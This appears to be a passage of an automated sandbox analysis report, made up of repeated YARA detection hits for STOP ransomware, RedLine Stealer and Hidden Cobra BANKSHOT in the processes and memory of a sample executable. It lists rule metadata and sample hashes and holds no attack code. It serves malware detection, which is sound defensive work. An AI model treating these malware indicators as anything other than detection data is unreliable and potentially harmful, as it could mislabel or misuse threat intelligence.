https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.8jvTeVxooN.exe.5e415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.8jvTeVxooN.exe.5e915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.1668456662.0000000004630000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.1823128668.0000000004501000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.1738911093.0000000004402000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1657747335.0000000004482000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.1722443203.0000000001B9E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: 8jvTeVxooN.exe PID: 7120, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 2700, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 8jvTeVxooN.exe PID: 4444, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
